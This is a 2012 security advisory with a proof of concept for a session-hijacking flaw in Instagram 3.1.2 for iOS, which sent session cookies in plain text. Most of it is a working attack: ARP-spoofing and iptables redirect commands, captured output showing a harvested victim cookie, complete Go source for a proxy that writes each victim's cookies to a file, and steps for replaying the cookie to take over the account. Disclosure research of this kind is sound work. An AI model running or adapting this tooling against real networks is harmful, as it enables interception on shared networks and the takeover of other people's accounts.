Instagram 3.1.2 For iOS, Session Riding Vulnerability (PoC)

Instagram 3.1.2 for iPhone (released on Oct 23, 2012) is vulnerable to a session riding attack that could lead an attacker on the same network to gain access to the victim’s account.

Details

Following my latest report on Instagram, this PoC exploits the same plaintext disclosure vulnerability.

An attacker on the same LAN of the victim could launch a simple ARP spoofing attack to trick mobile devices into directing port 80 traffic through the attackers machine. When the victim starts the Instagram app and performs any action that requires authentication, such as liking or unliking pictures, a plain text cookie is sent to the Instagram server, once the attacker gets the cookie he is able to login into the user’s account via web and perform a variety of actions.

Suggested Fix

Proof of Concept

An ARP spoofing attack redirects Instagram requests from the iPhone into a custom hyperfox proxy, when the proxy detects an Instagram cookie, a file cookie/$IP_ADDRESS.txt is created containing the cookie value.

After the attacker gets a cookie, he could use a plugin like Modify Headers on Firefox to sign in as the user on the secure URL https://instagram.com/accounts/edit/ where he could change personal data, such as the user’s e-mail address, and compromise the account.

Getting the user’s cookie

# sysctl -w net.ipv4.ip_forward=1
# iptables -A PREROUTING -t nat -i wlan0 -p tcp --destination-port 80 -j REDIRECT --to-port 9999
# arpspoof -i wlan0  10.0.0.1
aa:bb:cc:dd:ee:ff ff:ff:ff:ff:ff:ff 0806 42: arp reply 10.0.0.1 is-at aa:bb:cc:dd:ee:ff
...
% go run main.go
2012/11/30 07:05:20 Hyperfox is ready.
2012/11/30 07:05:20 Listening at 0.0.0.0:9999.
-> 10.0.0.102:50802 instagram.com: POST /api/v1/media/123456789012345678_1234567/unlike/ HTTP/1.1 153b
** Gotcha 10.0.0.102!
...
% cat cookies/10.0.0.102.txt
ds_user_id=1234567; igls=username; sessionid=AAAA; csrftoken=BBBB

Using the cookie

The attacker can use the stolen cookie to fake a legitimate session with the aid of a browser plugin.

Injecting cookie

Access granted!

The attacker is now able to login into the user’s account.

Editing the user's account

Hyperfox Proxy Code

/*
  Instagram Session Riding Vulnerability

  Proof of concept.
  November 2012

  Carlos Reventlov <carlos@reventlov.com>

  http://reventlov.com/advisories/instagram-session-riding-vulnerability
*/

package main

import (
  "fmt"
  "github.com/xiam/hyperfox/proxy"
  "github.com/xiam/hyperfox/tools/logger"
  "io"
  "log"
  "os"
  "strings"
)

var cookiesDir = "cookies"

type Victim struct {
  cookie string
  userId string
  Done   bool
}

var victims map[string]*Victim

func getVictim(ip string) *Victim {
  if _, ok := victims[ip]; ok == false {
    fmt.Printf("** Gotcha %s!\n", ip)
    victims[ip] = &Victim{}
  }
  return victims[ip]
}

func waitForCookie(pr *proxy.ProxyRequest) io.WriteCloser {
  hostn := strings.SplitN(pr.Request.RemoteAddr, ":", 2)
  localIp := hostn[0]

  if pr.Request.Host == "instagram.com" {
    if strings.HasPrefix(pr.Request.RequestURI, "/api/") {
      victim := getVictim(localIp)
      if victim.Done == false {
        os.MkdirAll(cookiesDir, os.ModeDir|os.FileMode(0755))
        cookieFile := fmt.Sprintf("%s/%s.txt", cookiesDir, localIp)
        fp, err := os.Create(cookieFile)
        if err == nil {
          fp.WriteString(pr.Request.Header.Get("Cookie"))
          fp.Close()
        }
        victim.Done = true
      }
    }
  }

  return nil
}

func main() {

  victims = make(map[string]*Victim)

  p := proxy.New()

  p.AddDirector(logger.Client(os.Stdout))

  p.AddWriter(waitForCookie)

  p.AddLogger(logger.Server(os.Stdout))

  var err error

  err = p.Start()

  if err != nil {
    log.Printf(fmt.Sprintf("Failed to bind: %s.\n", err.Error()))
  }
}

Disclosure timeline